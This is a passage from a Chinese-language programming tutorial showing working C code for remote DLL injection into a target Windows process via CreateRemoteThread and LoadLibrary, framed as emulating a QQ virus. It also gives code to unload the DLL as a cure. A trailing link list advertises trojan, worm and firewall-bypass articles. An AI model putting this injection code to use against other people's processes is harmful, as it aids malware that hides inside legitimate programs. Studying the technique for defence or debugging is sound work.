|
至此目标进程已经打开,那么我们该如何来将DLL注入其中呢?在这之前,我请你看一行代码,
是如何在本进程内显式加载DLL的:
HMODULE hDll = LoadLibrary( "DLL.dll" );
那么,如果能控制目标进程调用LoadLibrary,不就可以完成DLL的远程注入了么?的确是这样,
我们可以通过CreateRemoteThread将LoadLibrary作为目标进程的一个线程来启动,这样就可以完成
“控制目标进程调用LoadLibrary”的工作了。到这里,也许你会想当然地写下类似这样的代码:
DWORD dwID;
LPVOID pFunc = LoadLibraryA;
HANDLE hThread = CreateRemoteThread( hProcess, NULL, 0,
(LPTHREAD_START_ROUTINE)pFunc,
(LPVOID)"DLL.dll", 0, &dwID );
不过结果肯定会让你大失所望——注入DLL失败!
那么现在让我们来分析一下失败的原因吧。我是前说过,在Win32系统下,
每个进程都拥有自己的4G虚拟地址空间,
各个进程之间都是相互独立的。在这里,我们当作参数传入的字符串"DLL.dll"其实是一个数值,
它表示这个字符串位于Virus.exe地址空间之中的地址,而这个地址在传给Target.exe之后,
它指向的东西就失去了有效性。举个例子来说,譬如A、B两栋大楼,我住在A楼的401;
那么B楼的401住的是谁我当然不能确定——也就是401这个门牌号在B楼失去了有效性,而且如果我想要入住B楼的话,
我就必须请B楼的楼长为我在B楼中安排新的住处(当然这个新的住处是否401也就不一定了)。
由此看来,我就需要做这么一系列略显繁杂的手续——首先在Target.exe目标进程中分配一段内存空间,
然后向这段空间写入我要加载的DLL名称,最后再调用CreateRemoteThread。这段代码就成了这样:
// 向目标进程地址空间写入DLL名称
DWORD dwSize, dwWritten;
dwSize = lstrlenA( lpszDll ) + 1;
LPVOID lpBuf = VirtualAllocEx( hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE );
if ( NULL == lpBuf )
{
CloseHandle( hProcess );
// 失败处理
}
if ( WriteProcessMemory( hProcess, lpBuf, (LPVOID)lpszDll, dwSize, &dwWritten ) )
{
// 要写入字节数与实际写入字节数不相等,仍属失败
if ( dwWritten != dwSize )
{
VirtualFreeEx( hProcess, lpBuf, dwSize, MEM_DECOMMIT );
CloseHandle( hProcess );
// 失败处理
}
}
else
{
CloseHandle( hProcess );
// 失败处理
}
// 使目标进程调用LoadLibrary,加载DLL
DWORD dwID;
LPVOID pFunc = LoadLibraryA;
HANDLE hThread = CreateRemoteThread( hProcess, NULL, 0,
(LPTHREAD_START_ROUTINE)pFunc, lpBuf, 0, &dwID );
需要说的有两点,一是由于我要在目标进程中为ANSI字符串来分配内存空间,
所以这里凡是和目标进程相关的部分,都明确使用了后缀为“A”的API函数——
当然,如果要使用Unicode字符串的话,可以换作后缀是“W”的API;
第二,在这里LoadLibrary的指针我是取的本进程的LoadLibraryA的地址,这是因为LoadLibraryA/LoadLibraryW位于kernel32.dll之中,
而Win32下每个应用程序都会把kernel32.dll加载到进程地址空间中一个固定的地址,所以这里的函数地址在Target.exe中也是有效的。
在调用LoadLibrary完毕之后,我们就可以做收尾工作了:
// 等待LoadLibrary加载完毕
WaitForSingleObject( hThread, INFINITE );
// 释放目标进程中申请的空间
VirtualFreeEx( hProcess, lpBuf, dwSize, MEM_DECOMMIT );
CloseHandle( hThread );
CloseHandle( hProcess );
在此解释一下WaitForSingleObject一句。由于我们是通过CreateRemoteThread在目标进程中另外开辟了
一个LoadLibrary的线程,所以我们必须等待这个线程运行完毕才能够释放那段先前申请的内存。
好了,现在你可以尝试着整理这些代码并编译运行。运行Target.exe,
然后开启一个有模块查看功能的进程查看工具(在这里我使用我的July)来查看Target.exe的模块,
你会发现在注入DLL之前,Target.exe中并没有DLL.dll的存在:
在调用了注入代码之后,DLL.dll就位于Target.exe的模块列表之中了:
矛盾相生
记得2004年初我将QQ尾巴病毒成功仿真后,有很多网友询问我如何才能杀毒,
不过我都没有回答——因为当时我研究的重点并非病毒的寄生特性。
这一寄生特性直到今天可以说我才仿真完毕,
那么,我就将解毒的方法也一并公开吧。
和DLL的注入过程类似,只不过在这里使用了两个API:GetModuleHandle和FreeLibrary。
出于篇幅考虑,我略去了与注入部分相似或相同的代码:
// 使目标进程调用GetModuleHandle,获得DLL在目标进程中的句柄
DWORD dwHandle, dwID;
LPVOID pFunc = GetModuleHandleA;
HANDLE hThread = CreateRemoteThread( hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)
pFunc, lpBuf, 0, &dwID );
// 等待GetModuleHandle运行完毕
WaitForSingleObject( hThread, INFINITE );
// 获得GetModuleHandle的返回值
GetExitCodeThread( hThread, &dwHandle );
// 释放目标进程中申请的空间
VirtualFreeEx( hProcess, lpBuf, dwSize, MEM_DECOMMIT );
CloseHandle( hThread );
// 使目标进程调用FreeLibrary,卸载DLL
pFunc = FreeLibrary;
hThread = CreateRemoteThread( hProcess, NULL, 0,
(LPTHREAD_START_ROUTINE)pFunc,
(LPVOID)dwHandle, 0, &dwID );
// 等待FreeLibrary卸载完毕
WaitForSingleObject( hThread, INFINITE );
CloseHandle( hThread );
CloseHandle( hProcess );
用这个方法可以卸载一个进程中的DLL模块,当然包括那些非病毒体的DLL。
所以,这段代码还是谨慎使用为好。
在完成卸载之后,如果没有别的程序加载这个DLL,你就可以将它删除了。
| 网游盗号木马实现手记 | 01-09 |
| 黑色技术蠕虫下载者[完整源码] | 11-01 |
| 利用BCB自己打造QQ炸弹 | 10-23 |
| 从内存中加载并启动一个exe(delp | 09-27 |
| 开启和关闭Windows xp 防火墙(de | 09-27 |
| 让你的程序通过XP防火墙(delphi编 | 09-27 |
| 如何让你的程序安全通过windows防 | 08-20 |
| 如何透过程序来控制 Windows (XP | 08-20 |
| 动易2005-2006算号器的源代码 | 08-11 |
| API对注册表进行操作(Delphi编程 | 07-30 |
| 一段隐藏注册表项的代码 | 07-26 |
| 了解VB编写病毒的大体方法 | 07-02 |